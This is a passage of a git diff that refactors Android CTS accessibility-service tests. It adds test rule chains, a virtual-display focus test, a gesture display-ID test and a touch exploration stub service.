+ WINDOWS_CHANGE_ACCESSIBILITY_FOCUSED),
DEFAULT_TIMEOUT_MS);
windows = sUiAutomation.getWindows();
@@ -714,7 +783,7 @@
}
}
- private View[] addTwoAppPanelWindows() throws TimeoutException {
+ private View[] addTwoAppPanelWindows(Activity activity) throws TimeoutException {
setAccessInteractiveWindowsFlag();
sUiAutomation
.waitForIdle(TIMEOUT_WINDOW_STATE_IDLE, DEFAULT_TIMEOUT_MS);
@@ -722,16 +791,16 @@
return new View[] {
addWindow(R.string.button1, params -> {
params.gravity = Gravity.TOP;
- params.y = getStatusBarHeight(mActivity);
- }),
+ params.y = getStatusBarHeight(activity);
+ }, activity),
addWindow(R.string.button2, params -> {
params.gravity = Gravity.BOTTOM;
- })
+ }, activity)
};
}
- private Button addWindow(int btnTextRes, Consumer<WindowManager.LayoutParams> configure)
- throws TimeoutException {
+ private Button addWindow(int btnTextRes, Consumer<WindowManager.LayoutParams> configure,
+ Activity activity) throws TimeoutException {
AtomicReference<Button> result = new AtomicReference<>();
sUiAutomation.executeAndWaitForEvent(() -> {
sInstrumentation.runOnMainSync(() -> {
@@ -743,13 +812,13 @@
| WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
| WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
params.type = WindowManager.LayoutParams.TYPE_APPLICATION_PANEL;
- params.token = mActivity.getWindow().getDecorView().getWindowToken();
+ params.token = activity.getWindow().getDecorView().getWindowToken();
configure.accept(params);
- final Button button = new Button(mActivity);
+ final Button button = new Button(activity);
button.setText(btnTextRes);
result.set(button);
- mActivity.getWindowManager().addView(button, params);
+ activity.getWindowManager().addView(button, params);
});
}, filterWindowsChangedWithChangeTypes(WINDOWS_CHANGE_ADDED), DEFAULT_TIMEOUT_MS);
return result.get();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
index 71c34c2..eb5e2b4 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
@@ -19,8 +19,11 @@
import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangeTypesAndWindowTitle;
import static android.accessibilityservice.cts.utils.AccessibilityEventFilterUtils.filterWindowsChangedWithChangeTypes;
import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.findWindowByTitle;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.findWindowByTitleAndDisplay;
import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.getActivityTitle;
import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen;
+import static android.accessibilityservice.cts.utils.DisplayUtils.VirtualDisplaySession;
import static android.accessibilityservice.cts.utils.DisplayUtils.getStatusBarHeight;
import static android.content.pm.PackageManager.FEATURE_PICTURE_IN_PICTURE;
import static android.view.accessibility.AccessibilityEvent.TYPE_WINDOWS_CHANGED;
@@ -39,12 +42,19 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.accessibilityservice.cts.activities.AccessibilityWindowReportingActivity;
+import android.accessibilityservice.cts.utils.DisplayUtils;
import android.app.Activity;
import android.app.Instrumentation;
import android.app.UiAutomation;
+import android.os.SystemClock;
+import android.util.DisplayMetrics;
+import android.view.Display;
import android.view.Gravity;
+import android.view.InputDevice;
+import android.view.MotionEvent;
import android.view.View;
import android.view.WindowManager;
import android.view.accessibility.AccessibilityNodeInfo;
@@ -62,6 +72,7 @@
import org.junit.BeforeClass;
import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import java.util.List;
@@ -82,10 +93,17 @@
private Activity mActivity;
private CharSequence mActivityTitle;
- @Rule
- public ActivityTestRule<AccessibilityWindowReportingActivity> mActivityRule =
+ private ActivityTestRule<AccessibilityWindowReportingActivity> mActivityRule =
new ActivityTestRule<>(AccessibilityWindowReportingActivity.class, false, false);
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ .around(mDumpOnFailureRule);
+
@BeforeClass
public static void oneTimeSetup() throws Exception {
sInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -223,6 +241,74 @@
}
@Test
+ public void moveFocusToAnotherDisplay_movesActiveAndFocusWindow() throws Exception {
+ // Makes sure activityWindow on default display is focused
+ AccessibilityWindowInfo activityWindow = findWindowByTitle(sUiAutomation, mActivityTitle);
+ assertTrue(activityWindow.isActive());
+ assertTrue(activityWindow.isFocused());
+
+ // Creates a virtual display.
+ try (VirtualDisplaySession displaySession = new VirtualDisplaySession()) {
+ final int virtualDisplayId =
+ displaySession.createDisplayWithDefaultDisplayMetricsAndWait(
+ sInstrumentation.getContext(), false).getDisplayId();
+ // Launchs an activity on virtual display.
+ final Activity activityOnVirtualDisplay =
+ launchActivityOnSpecifiedDisplayAndWaitForItToBeOnscreen(sInstrumentation,
+ sUiAutomation,
+ AccessibilityEmbeddedDisplayTest.EmbeddedDisplayActivity.class,
+ virtualDisplayId);
+ // Window manager changed the behavior of focused window at a virtual display. A window
+ // at virtual display needs to be touched then it becomes to be focused one. Adding this
+ // touch event on the activity window of the virtual display to pass this test case.
+ final DisplayMetrics displayMetrics = mActivity.getResources().getDisplayMetrics();
+ final int xOnScreen = displayMetrics.widthPixels / 2;
+ final int yOnScreen = displayMetrics.heightPixels / 2;
+ final long downEventTime = SystemClock.uptimeMillis();
+ final MotionEvent downEvent = MotionEvent.obtain(downEventTime, downEventTime,
+ MotionEvent.ACTION_DOWN, xOnScreen, yOnScreen, 0);
+ downEvent.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+ downEvent.setDisplayId(virtualDisplayId);
+ sUiAutomation.injectInputEvent(downEvent, true);
+
+ final long upEventTime = downEventTime + 10;
+ final MotionEvent upEvent = MotionEvent.obtain(downEventTime, upEventTime,
+ MotionEvent.ACTION_UP, xOnScreen, yOnScreen, 0);
+ upEvent.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+ upEvent.setDisplayId(virtualDisplayId);
+ sUiAutomation.injectInputEvent(upEvent, true);
+
+ final CharSequence activityTitle = getActivityTitle(sInstrumentation,
+ activityOnVirtualDisplay);
+ // Make sure activityWindow on virtual display is focused.
+ AccessibilityWindowInfo activityWindowOnVirtualDisplay =
+ findWindowByTitleAndDisplay(sUiAutomation, activityTitle, virtualDisplayId);
+ // Windows may have changed - refresh.
+ activityWindow = findWindowByTitle(sUiAutomation, mActivityTitle);
+ try {
+ assertFalse(activityWindow.isActive());
+ assertFalse(activityWindow.isFocused());
+ assertTrue(activityWindowOnVirtualDisplay.isActive());
+ assertTrue(activityWindowOnVirtualDisplay.isFocused());
+ } finally {
+ sUiAutomation.executeAndWaitForEvent(
+ () -> {
+ sInstrumentation.runOnMainSync(
+ () -> activityOnVirtualDisplay.finish());
+ },
+ filterWindowsChangedWithChangeTypes(WINDOWS_CHANGE_FOCUSED |
+ WINDOWS_CHANGE_ACTIVE),
+ TIMEOUT_ASYNC_PROCESSING);
+ }
+ }
+ // The focused window should be returned to activity at default display after
+ // the activity at virtual display is destroyed.
+ activityWindow = findWindowByTitle(sUiAutomation, mActivityTitle);
+ assertTrue(activityWindow.isActive());
+ assertTrue(activityWindow.isFocused());
+ }
+
+ @Test
public void testChangeAccessibilityFocusWindow_getEvent() throws Exception {
final AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
info.flags |= AccessibilityServiceInfo.FLAG_REQUEST_TOUCH_EXPLORATION_MODE;
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDescriptionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDescriptionTest.java
index 92821b8..346c62e 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDescriptionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDescriptionTest.java
@@ -14,30 +14,48 @@
package android.accessibilityservice.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibilityservice.GestureDescription;
import android.accessibilityservice.GestureDescription.StrokeDescription;
import android.graphics.Path;
import android.graphics.PathMeasure;
import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
-import android.test.InstrumentationTestCase;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
/**
* Tests for creating gesture descriptions.
*/
@Presubmit
@AppModeFull
-public class GestureDescriptionTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class GestureDescriptionTest {
static final int NOMINAL_PATH_DURATION = 100;
private Path mNominalPath;
- @Override
+ @Rule
+ public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Before
public void setUp() {
mNominalPath = new Path();
mNominalPath.moveTo(0, 0);
mNominalPath.lineTo(10, 10);
}
+ @Test
public void testCreateStroke_noDuration_shouldThrow() {
try {
new StrokeDescription(mNominalPath, 0, 0);
@@ -46,6 +64,7 @@
}
}
+ @Test
public void testCreateStroke_negativeStartTime_shouldThrow() {
try {
new StrokeDescription(mNominalPath, -1, NOMINAL_PATH_DURATION);
@@ -54,6 +73,7 @@
}
}
+ @Test
public void testCreateStroke_negativeStartX_shouldThrow() {
Path negativeStartXPath = new Path();
negativeStartXPath.moveTo(-1, 0);
@@ -65,6 +85,7 @@
}
}
+ @Test
public void testCreateStroke_negativeStartY_shouldThrow() {
Path negativeStartYPath = new Path();
negativeStartYPath.moveTo(0, -1);
@@ -76,6 +97,7 @@
}
}
+ @Test
public void testCreateStroke_negativeEndX_shouldThrow() {
Path negativeEndXPath = new Path();
negativeEndXPath.moveTo(0, 0);
@@ -87,6 +109,7 @@
}
}
+ @Test
public void testCreateStroke_negativeEndY_shouldThrow() {
Path negativeEndYPath = new Path();
negativeEndYPath.moveTo(0, 0);
@@ -98,6 +121,7 @@
}
}
+ @Test
public void testCreateStroke_withEmptyPath_shouldThrow() {
Path emptyPath = new Path();
try {
@@ -107,6 +131,7 @@
}
}
+ @Test
public void testCreateStroke_pathWithMultipleContours_shouldThrow() {
Path multiContourPath = new Path();
multiContourPath.moveTo(0, 0);
@@ -120,6 +145,7 @@
}
}
+ @Test
public void testStrokeDescriptionWillContinue() {
StrokeDescription strokeDescription = new StrokeDescription(mNominalPath, 0, 100);
assertFalse(strokeDescription.willContinue());
@@ -138,6 +164,7 @@
assertTrue(continuation.willContinue());
}
+ @Test
public void testAddStroke_allowUpToMaxPaths() {
GestureDescription.Builder gestureBuilder = new GestureDescription.Builder();
for (int i = 0; i < GestureDescription.getMaxStrokeCount(); i++) {
@@ -156,6 +183,7 @@
}
}
+ @Test
public void testAddStroke_withDurationTooLong_shouldThrow() {
Path path = new Path();
path.moveTo(10, 10);
@@ -169,6 +197,7 @@
}
}
+ @Test
public void testEmptyDescription_shouldThrow() {
GestureDescription.Builder gestureBuilder = new GestureDescription.Builder();
try {
@@ -178,6 +207,7 @@
}
}
+ @Test
public void testStrokeDescriptionGetters_workAsExpected() {
int x = 100;
int startY = 100;
@@ -201,4 +231,18 @@
PathMeasure measure = new PathMeasure(returnedPath, false);
assertEquals(50, (int) measure.getLength());
}
+
+ @Test
+ public void testSetDisplayId_getCorrectDisplayId() {
+ Path path = new Path();
+ path.moveTo(100, 100);
+ StrokeDescription stroke = new StrokeDescription(path, 150, 100);
+ GestureDescription.Builder builder = new GestureDescription.Builder();
+ builder.addStroke(stroke);
+ builder.setDisplayId(2);
+
+ GestureDescription gesture = builder.build();
+
+ assertEquals(2, gesture.getDisplayId());
+ }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
index 042904b..049bae1 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/GestureDetectionStubAccessibilityService.java
@@ -14,32 +14,39 @@
package android.accessibilityservice.cts;
-import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import static org.junit.Assert.fail;
-import android.app.Instrumentation;
+import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibilityservice.AccessibilityGestureEvent;
import android.view.accessibility.AccessibilityEvent;
+
import java.util.ArrayList;
+import java.util.List;
/** Accessibility service stub, which will collect recognized gestures. */
public class GestureDetectionStubAccessibilityService extends InstrumentedAccessibilityService {
private static final long GESTURE_RECOGNIZE_TIMEOUT_MS = 3000;
- private static final long EVENT_RECOGNIZE_TIMEOUT_MS = 3000;
+ private static final long EVENT_RECOGNIZE_TIMEOUT_MS = 5000;
// Member variables
- private final Object mLock = new Object();
+ protected final Object mLock = new Object();
private ArrayList<Integer> mCollectedGestures = new ArrayList();
- private ArrayList<Integer> mCollectedEvents = new ArrayList();
-
- public static GestureDetectionStubAccessibilityService enableSelf(
- Instrumentation instrumentation) {
- return InstrumentedAccessibilityService.enableService(
- instrumentation, GestureDetectionStubAccessibilityService.class);
- }
+ private ArrayList<AccessibilityGestureEvent> mCollectedGestureEvents = new ArrayList();
+ protected ArrayList<Integer> mCollectedEvents = new ArrayList();
@Override
protected boolean onGesture(int gestureId) {
synchronized (mCollectedGestures) {
mCollectedGestures.add(gestureId);
- mCollectedGestures.notifyAll(); // Stop waiting for gesture.
+ }
+ return true;
+ }
+
+ @Override
+ public boolean onGesture(AccessibilityGestureEvent gestureEvent) {
+ super.onGesture(gestureEvent);
+ synchronized (mCollectedGestureEvents) {
+ mCollectedGestureEvents.add(gestureEvent);
+ mCollectedGestureEvents.notifyAll(); // Stop waiting for gesture.
}
return true;
}
@@ -48,6 +55,9 @@
synchronized (mCollectedGestures) {
mCollectedGestures.clear();
}
+ synchronized (mCollectedGestureEvents) {
+ mCollectedGestureEvents.clear();
+ }
}
public int getGesturesSize() {
@@ -62,20 +72,33 @@
}
}
- /** Wait for onGesture() to collect next gesture. */
- public void waitUntilGesture() {
- synchronized (mCollectedGestures) {
- if (mCollectedGestures.size() > 0) {
+ /** Waits for {@link #onGesture(AccessibilityGestureEvent)} to collect next gesture. */
+ public void waitUntilGestureInfo() {
+ synchronized (mCollectedGestureEvents) {
+ //Assume the size of mCollectedGestures is changed before mCollectedGestureEvents.
+ if (mCollectedGestureEvents.size() > 0) {
return;
}
try {
- mCollectedGestures.wait(GESTURE_RECOGNIZE_TIMEOUT_MS);
+ mCollectedGestureEvents.wait(GESTURE_RECOGNIZE_TIMEOUT_MS);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
}
}
+ public int getGestureInfoSize() {
+ synchronized (mCollectedGestureEvents) {
+ return mCollectedGestureEvents.size();
+ }
+ }
+
+ public AccessibilityGestureEvent getGestureInfo(int index) {
+ synchronized (mCollectedGestureEvents) {
+ return mCollectedGestureEvents.get(index);
+ }
+ }
+
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
synchronized (mLock) {
@@ -124,4 +147,37 @@
}
}
}
+
+ /** Insure that the specified accessibility events have been received. */
+ public void assertPropagated(int... events) {
+ waitUntilEvent(events.length);
+ // Set up readable error reporting.
+ List<String> received = new ArrayList<>();
+ List<String> expected = new ArrayList<>();
+ for (int event : events) {
+ expected.add(AccessibilityEvent.eventTypeToString(event));
+ }
+ for (int i = 0; i < getEventsSize(); ++i) {
+ received.add(AccessibilityEvent.eventTypeToString(getEvent(i)));
+ }
+
+ if (events.length != getEventsSize()) {
+ String message =
+ String.format(
+ "Received %d events when expecting %d. Received %s, expected %s",
+ received.size(),
+ expected.size(),
+ received.toString(),
+ expected.toString());
+ fail(message);
+ }
+ else if (!expected.equals(received)) {
+ String message =
+ String.format(
+ "Received %s, expected %s",
+ received.toString(),
+ expected.toString());
+ fail(message);
+ }
+ }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
index 72bbd97..8393012 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -18,11 +18,11 @@
import static android.accessibilityservice.cts.utils.AsyncUtils.await;
import static android.accessibilityservice.cts.utils.AsyncUtils.waitOn;
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
import static android.accessibilityservice.cts.utils.GestureUtils.add;
import static android.accessibilityservice.cts.utils.GestureUtils.click;
import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
import static android.accessibilityservice.cts.utils.GestureUtils.distance;
+import static android.accessibilityservice.cts.utils.GestureUtils.doubleTap;
import static android.accessibilityservice.cts.utils.GestureUtils.drag;
import static android.accessibilityservice.cts.utils.GestureUtils.endTimeOf;
import static android.accessibilityservice.cts.utils.GestureUtils.lastPointOf;
@@ -31,21 +31,17 @@
import static android.accessibilityservice.cts.utils.GestureUtils.pointerUp;
import static android.accessibilityservice.cts.utils.GestureUtils.startingAt;
import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
+import static android.accessibilityservice.cts.utils.GestureUtils.tripleTap;
import static android.view.MotionEvent.ACTION_DOWN;
import static android.view.MotionEvent.ACTION_MOVE;
import static android.view.MotionEvent.ACTION_UP;
-import static org.hamcrest.Matchers.empty;
-import static org.hamcrest.Matchers.is;
import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertThat;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static java.util.concurrent.TimeUnit.SECONDS;
-
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
import android.accessibilityservice.GestureDescription;
import android.accessibilityservice.GestureDescription.StrokeDescription;
import android.accessibilityservice.cts.AccessibilityGestureDispatchTest.GestureDispatchActivity;
@@ -53,10 +49,8 @@
import android.app.Instrumentation;
import android.content.pm.PackageManager;
import android.graphics.PointF;
-import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
import android.provider.Settings;
-import android.view.MotionEvent;
import android.widget.TextView;
import androidx.test.InstrumentationRegistry;
@@ -67,12 +61,9 @@
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
+import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collection;
-
/**
* Class for testing magnification.
*/
@@ -95,10 +86,22 @@
private final Object mZoomLock = new Object();
- @Rule
- public ActivityTestRule<GestureDispatchActivity> mActivityRule =
+ private ActivityTestRule<GestureDispatchActivity> mActivityRule =
new ActivityTestRule<>(GestureDispatchActivity.class);
+ private InstrumentedAccessibilityServiceTestRule<StubMagnificationAccessibilityService>
+ mServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+ StubMagnificationAccessibilityService.class, false);
+
+ private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+ new AccessibilityDumpOnFailureRule();
+
+ @Rule
+ public final RuleChain mRuleChain = RuleChain
+ .outerRule(mActivityRule)
+ .around(mServiceRule)
+ .around(mDumpOnFailureRule);
+
@Before
public void setUp() throws Exception {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -113,7 +116,7 @@
Settings.Secure.ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, 0) == 1;
setMagnificationEnabled(true);
- mService = StubMagnificationAccessibilityService.enableSelf(mInstrumentation);
+ mService = mServiceRule.enableService();
mService.getMagnificationController().addListener(
(controller, region, scale, centerX, centerY) -> {
mCurrentScale = scale;
@@ -140,8 +143,6 @@
if (!mHasTouchscreen) return;
setMagnificationEnabled(mOriginalIsMagnificationEnabled);
-
- runIfNotNull(mService, service -> service.runOnServiceSync(service::disableSelfAndRemove));
}
@Test
@@ -196,9 +197,9 @@
private void setZoomByTripleTapping(boolean desiredZoomState) {
if (isZoomed() == desiredZoomState) return;
- dispatch(tripleTap());
+ dispatch(tripleTap(mTapLocation));
waitOn(mZoomLock, () -> isZoomed() == desiredZoomState);
- assertNoTouchInputPropagated();
+ mTouchListener.assertNonePropagated();
}
private void tripleTapAndDragViewport() {
@@ -210,10 +211,10 @@
dispatch(drag);
waitOn(mZoomLock, () -> distance(mCurrentZoomCenter, oldCenter) >= mPan / 5);
assertTrue(isZoomed());
- assertNoTouchInputPropagated();
+ mTouchListener.assertNonePropagated();
dispatch(pointerUp(drag));
- assertNoTouchInputPropagated();
+ mTouchListener.assertNonePropagated();
}
private StrokeDescription tripleTapAndHold() {
@@ -227,22 +228,18 @@
private void assertGesturesPropagateToView() {
dispatch(click(mTapLocation));
- assertPropagated(ACTION_DOWN, ACTION_UP);
+ mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
dispatch(longClick(mTapLocation));
- assertPropagated(ACTION_DOWN, ACTION_UP);
+ mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
- dispatch(doubleTap());
- assertPropagated(ACTION_DOWN, ACTION_UP, ACTION_DOWN, ACTION_UP);
+ dispatch(doubleTap(mTapLocation));
+ mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP, ACTION_DOWN, ACTION_UP);
dispatch(swipe(
mTapLocation,
add(mTapLocation, 0, 29)));
- assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
- }
-
- private void assertNoTouchInputPropagated() {
- assertThat(prettyPrintable(mTouchListener.events), is(empty()));
+ mTouchListener.assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
}
private void setMagnificationEnabled(boolean enabled) {
@@ -254,50 +251,6 @@
return mCurrentScale >= MIN_SCALE;
}
- private void assertPropagated(int... eventTypes) {
- MotionEvent ev;
- try {
- while (true) {
- if (eventTypes.length == 0) return;
- int expectedEventType = eventTypes[0];
- long startedPollingAt = SystemClock.uptimeMillis();
- ev = mTouchListener.events.poll(5, SECONDS);
- assertNotNull("Expected "
- + MotionEvent.actionToString(expectedEventType)
- + " but none present after "
- + (SystemClock.uptimeMillis() - startedPollingAt) + "ms",
- ev);
- int action = ev.getActionMasked();
- if (action == expectedEventType) {
- eventTypes = Arrays.copyOfRange(eventTypes, 1, eventTypes.length);
- } else {
- if (action != ACTION_MOVE) fail("Unexpected event: " + ev);
- }
- }
- } catch (InterruptedException e) {
- throw new RuntimeException(e);
- }
- }
-
- private GestureDescription doubleTap() {
- return multiTap(2);
- }
-
- private GestureDescription tripleTap() {
- return multiTap(3);
- }
-
- private GestureDescription multiTap(int taps) {
- GestureDescription.Builder builder = new GestureDescription.Builder();
- long time = 0;
- for (int i = 0; i < taps; i++) {
- StrokeDescription stroke = click(mTapLocation);
- builder.addStroke(startingAt(time, stroke));
- time += stroke.getDuration() + 20;
- }
- return builder.build();
- }
-
public void dispatch(StrokeDescription firstStroke, StrokeDescription... rest) {
GestureDescription.Builder builder =
new GestureDescription.Builder().addStroke(firstStroke);
@@ -310,17 +263,4 @@
public void dispatch(GestureDescription gesture) {
await(dispatchGesture(mService, gesture));
}
-
- private static <T> Collection<T> prettyPrintable(Collection<T> c) {
- return new ArrayList<T>(c) {
-
- @Override
- public String toString() {
- return stream()
- .map(t -> "\n" + t)
- .reduce(String::concat)
- .orElse("");
- }
- };
- }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubAccessibilityButtonService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubAccessibilityButtonService.java
index c0ce5b6..5223f22 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubAccessibilityButtonService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubAccessibilityButtonService.java
@@ -15,15 +15,9 @@
package android.accessibilityservice.cts;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.app.Instrumentation;
-import android.app.UiAutomation;
/**
* A stub accessibility service to install for testing accessibility button APIs
*/
public class StubAccessibilityButtonService extends InstrumentedAccessibilityService {
- public static StubAccessibilityButtonService enableSelf(Instrumentation instrumentation) {
- return InstrumentedAccessibilityService.enableService(
- instrumentation, StubAccessibilityButtonService.class);
- }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFingerprintGestureService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFingerprintGestureService.java
index 87539f8..bf78b48 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFingerprintGestureService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFingerprintGestureService.java
@@ -15,14 +15,9 @@
package android.accessibilityservice.cts;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.app.Instrumentation;
/**
* A stub accessibility service to install for testing gesture dispatch
*/
public class StubFingerprintGestureService extends InstrumentedAccessibilityService {
- public static StubFingerprintGestureService enableSelf(Instrumentation instrumentation) {
- return InstrumentedAccessibilityService.enableService(
- instrumentation, StubFingerprintGestureService.class);
- }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubGestureAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubGestureAccessibilityService.java
index 68c4e7b..eb90389 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubGestureAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubGestureAccessibilityService.java
@@ -15,22 +15,9 @@
package android.accessibilityservice.cts;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.accessibilityservice.GestureDescription;
-import android.app.Instrumentation;
-import android.os.Handler;
/**
* A stub accessibility service to install for testing gesture dispatch
*/
public class StubGestureAccessibilityService extends InstrumentedAccessibilityService {
-
- public boolean doDispatchGesture(GestureDescription description, GestureResultCallback callback,
- Handler handler) {
- return dispatchGesture(description, callback, handler);
- }
-
- public static StubGestureAccessibilityService enableSelf(Instrumentation instrumentation) {
- return InstrumentedAccessibilityService.enableService(
- instrumentation, StubGestureAccessibilityService.class);
- }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubMagnificationAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubMagnificationAccessibilityService.java
index 195ce89..2ce0e37 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubMagnificationAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubMagnificationAccessibilityService.java
@@ -15,16 +15,9 @@
package android.accessibilityservice.cts;
import android.accessibility.cts.common.InstrumentedAccessibilityService;
-import android.app.Instrumentation;
/**
* A stub accessibility service to install for testing gesture dispatch
*/
public class StubMagnificationAccessibilityService extends InstrumentedAccessibilityService {
-
- public static StubMagnificationAccessibilityService enableSelf(
- Instrumentation instrumentation) {
- return InstrumentedAccessibilityService.enableService(
- instrumentation, StubMagnificationAccessibilityService.class);
- }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
new file mode 100644
index 0000000..61a1cea
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorationStubAccessibilityService.java
@@ -0,0 +1,44 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * <p>Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ * <p>http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * <p>Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.accessibilityservice.cts;
+
+import static android.view.accessibility.AccessibilityEvent.TYPE_GESTURE_DETECTION_END;
+import static android.view.accessibility.AccessibilityEvent.TYPE_GESTURE_DETECTION_START;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_ACCESSIBILITY_FOCUSED;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_CLICKED;
+import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_LONG_CLICKED;
+
+import android.view.accessibility.AccessibilityEvent;
+
+/**
+ * This accessibility service stub collects all events relating to touch exploration rather than
+ * just the few collected by GestureDetectionStubAccessibilityService
+ */
+public class TouchExplorationStubAccessibilityService
+ extends GestureDetectionStubAccessibilityService {
+ @Override
+ public void onAccessibilityEvent(AccessibilityEvent event) {
+ synchronized (mLock) {
+ switch (event.getEventType()) {
+ case TYPE_GESTURE_DETECTION_START:
+ case TYPE_GESTURE_DETECTION_END:
+ case TYPE_VIEW_ACCESSIBILITY_FOCUSED:
+ case TYPE_VIEW_CLICKED:
+ case TYPE_VIEW_LONG_CLICKED:
+ mCollectedEvents.add(event.getEventType());
+ }
+ }
+ super.onAccessibilityEvent(event);
+ }
+}
